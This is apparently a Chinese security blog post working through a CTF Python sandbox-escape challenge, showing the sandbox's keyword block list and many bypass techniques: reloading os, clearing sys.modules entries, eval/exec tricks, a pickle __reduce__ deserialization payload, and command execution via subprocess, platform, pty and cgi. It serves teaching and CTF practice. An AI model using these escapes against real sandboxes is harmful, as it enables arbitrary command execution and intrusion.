从沙盒逃逸看Python黑科技(上篇)
2020-6-25 02:23:28 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

 

阅读本文大概需要 6 分钟。

 

   2020年 第  19  篇文章 ,flag 继续 

每周至少更一篇

前言

上一篇的主题是反弹shell剖析,将之前总结的对反弹shel的思考和大家分享一下,希望对大家有帮助。

大家如果喜欢我的分享,一定要点在看和分享到朋友圈。现在公众号是信息流模式,对于无法天天更新的原创号来说是不利的,希望大家能与我一起坚持下去。

有你们的坚持,才有更好的世界。

下面是我的微信号,想进行技术交流的可以加我,备注公众号,卖货的,伸手党不要加我,谢谢。

一.背景

前因后果

本篇的主题源于下面的一道CTF题目:python沙箱逃逸,这是一个阉割的Python环境,主要进行了两部分限制:

1. 删除了内置函数引用 
2. 对敏感的关键字进行了静态检测。

怎么算逃逸呢? 黑客需要通过输入Python代码来绕过上述的限制,获取shell,执行命令。

  1. #!/usr/bin/env python

  2. from __future__ import print_function

  3. print("Welcome to my Python sandbox! Enter commands below!")

  4. banned = [

  5. "import",

  6. "exec",

  7. "eval",

  8. "pickle",

  9. "os",

  10. "subprocess",

  11. "kevin sucks",

  12. "input",

  13. "banned",

  14. "cry sum more",

  15. "sys"

  16. ]

  17. targets = __builtins__.__dict__.keys()

  18. targets.remove('raw_input')

  19. targets.remove('print')

  20. for x in targets:

  21. del __builtins__.__dict__[x]

  22. while 1:

  23. print(">>>", end=' ')

  24. data = raw_input()

  25. for no in banned:

  26. if no.lower() in data.lower():

  27. print("No bueno")

  28. break

  29. else: # this means nobreak

  30. exec data

在正式的CTF比赛中,我们是看不到沙箱源码的,只会提供一个远程的沙箱接口,用来输入代码,有回显其实还好。如果是单纯做题,一般通用的解决思路,大致分为5步:

  1. 测试能否导入包

  2. 哪些系统包做了限制

  3. 内置函数是否可用

  4. 是静态检测还是动态检测

  5. 对象之间的引用关系探索

只是解决这道题没有什么意思,咱们要从这道题中挖掘一下Python中一些“黑科技”,才是对我们有帮助的。我总结了一下这道题涉及的主要知识点 :

  1. python 如何导包

  2. Python 如何执行代码和命令

  3. Python 文件读取

  4. 内置模块

  5. 对象创建与引用

二.Python 导包

实践出真知

如果我们想在沙箱中getshell的话,必不可少的是要引入Python中执行命令的包,例如os,sys,subprocess等。

有些沙箱使用比较初级的办法,通过正则对输入代码内容进行过滤,如下所示,如果匹配,则ban掉。

这个时候,我们突破这种封锁,首先要学习的是Python的各种导包方法。

导包初阶

一般比较常见的是以下几种方法:

  • import xxx

  • from xxx import *

  • __import__("xxx")

  • importlib库

  • imp 库

  • reload(xxx)

在上面几种方法中,用的比较少的是 importlib 和 imp。我用例子简要说明一下:

reload 的用法比较有意思,假如沙箱导入了os模块,但是删除了system方法,强行使用system执行命令会报错。

  1. # -*- coding: UTF-8 -*-

  2. ### 沙箱

  3. import os

  4. del os.__dict__["system"]

  5. ### 用户代码

  6. os.system("whoami")

而我又想用system方法执行命令的话,可以使用reload重新加载os模块,恢复对system方法的引用。

  1. # -*- coding: UTF-8 -*-

  2. ### 沙箱

  3. import os

  4. del os.__dict__["system"]

  5. ### 用户代码

  6. reload(os) #也可以 import imp imp.reload(os)

  7. os.system("whoami")

导包高阶

上面说的是比较初阶的导包方式,导包说到本质上其实是python 读取指定包的py文件,并将其加载到解释器的过程。因此我们可以直接执行对应包的文件,从而实现包的导入。在py2中有execfile这个函数:

  1. execfile('/usr/lib/python2.7/os.py')

  2. system('whoami')

在py3中,没有execfile这个函数,但是有exec,可以通过读文件交给exec执行的方式导入包。

有的沙箱,为了防止你导入敏感包,会将sys.modules置为None。

以os 为例,沙箱将sys.modules['os']置为None,用户如果想import os 就会报错。

  1. #!/usr/bin/python

  2. ##沙箱

  3. import sys

  4. sys.modules['os'] = None

  5. ### 用户代码

  6. import os 报错

为什么会报错?import 的步骤:

  1. 如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A

  2. 如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中

由于sys.modules['os'] 被置空了,如果想让os被重新加载,我们将 sys.modules 中的os 删除即可,这样import 发现 sys.modules没有os这个模块,就会重新创建。

  1. # -*- coding: UTF-8 -*-

  2. ##沙箱

  3. import sys

  4. sys.modules['os'] = None

  5. ### 用户代码

  6. del sys.modules['os']

  7. import os

  8. os.system("whoami")

三.Python 执行代码与命令

动态执行代码

(1) eval/exec/execfile

在上文中,已经讲解了exec/execfile的用法。这里再总结一下:

  • exec(source):动态执行复杂的python代码,函数的返回值永远为None。

  • execfile(filename):执行一个py文件的内容。

eval用来执行简单的python表达式返回表达式的结果,示例如下:

  1. eval('__import__("os").system("whoami")')

(2) pickle 序列化

  1. import pickle

  2. class A(object):

  3. def __reduce__(self):

  4. import os

  5. return (os.system, ('whoami',))

  6. admin = A()

  7. B = pickle.dumps(admin)

  8. print(pickle.dumps(admin))

  9. # cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.

保存序列化之后的字符串,然后通过pickle.loads加载即可完成代码的执行。

  1. import pickle

  2. pickle.loads("cnt\nsystem\np0\n(S'whoami'\np1\ntp2\nRp3\n.")

(3) timeit 这个模块是用来测试代码的执行时间的,可以动态执行代码,代码是字符串形式。

  1. import timeit

  2. timeit.timeit("__import__('os').system('whoami')",number=1)

执行命令

(1) os模块

可以通过os.system(cmd),os.popen(cmd)调用系统命令,例如:

  1. os.system("whoami")

  2. os.popen('whoami')

(2) commands 模块

  1. print(commands.getoutput('whoami'))

  2. print(commands.getstatusoutput('whoami'))

(3) subprocess模块

subprocess模块是相对比较复杂的,有很多执行命令的函数:

  • subprocess.run() Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。

  • subprocess.call() 执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。

  • subprocess.check_call() Python 2.5中新增的函数。执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。

  • subprocess.check_output() Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。

  • subprocess.getoutput(cmd) 接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。

  • subprocess.getstatusoutput(cmd) 执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。

(4) platform 模块

可以调用platform 模块 中的 popen 这个函数执行命令。

  1. import platform

  2. print(platform.popen('ls',mode='r',bufsize= -1).read())

  3. platform.os.system("ls")

(5) pty 模块

pty模块可以生成一个伪终端,可以简单理解为bash,因此是可以执行命令的。

  1. import pty

  2. pty.spawn('ls')

  3. pty.os.system("ls")

(6) cgi 模块

  1. import cgi

  2. cgi.os.system("ls")

大家细细琢磨还有很多执行命令的方式。。。。。。     

最后

出行中,未完待续

敬请期待下篇

原创不易,希望大家能积极分享点在看

推荐阅读

不一样的 "反弹Shell" 系统剖析

HW : Cobalt Strike 应该这样学

WebShell通用免杀的思考

WebShell "干掉" RASP

无文件执行:一切皆是shellcode (中)

无文件执行:一切皆是shellcode (上)

linux无文件执行— fexecve 揭秘

沙盒syscall监控组件:strace and wtrace

无"命令"反弹shell-逃逸基于execve的命令监控(上)

APT组织武器:MuddyC3泄露代码分析

Python RASP 工程化:一次入侵的思考

教你学木马攻防 | 隧道木马 | 第一课

如果大家喜欢这篇文章的话,请不要吝啬分享到朋友圈,并置顶公众号。

关注公众号:七夜安全博客

回复【11】:领取Sandboxie源码

  • 回复【1】:领取 Python数据分析 教程大礼包

  • 回复【2】:领取 Python Flask 全套教程

  • 回复【3】:领取 某学院 机器学习 教程

  • 回复【4】:领取 爬虫 教程

  • 回复【5】:领取编译原理 教程

  • 回复【6】:领取渗透测试教程

  • 回复【7】:领取人工智能数学基础

  • 回复【8】:领取 python神经网络 教程 

  • 回复【9】:领取 安卓逆向 教程  


文章来源: https://mp.weixin.qq.com/s?__biz=MzIwODIxMjc4MQ==&mid=2651004699&idx=1&sn=68a83e77db351baf234c36901749e813&chksm=8cf13959bb86b04f0d548cc16a967ea031cfd7be61dac0cb52c38538434d6b9cd88c7dd6f533&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh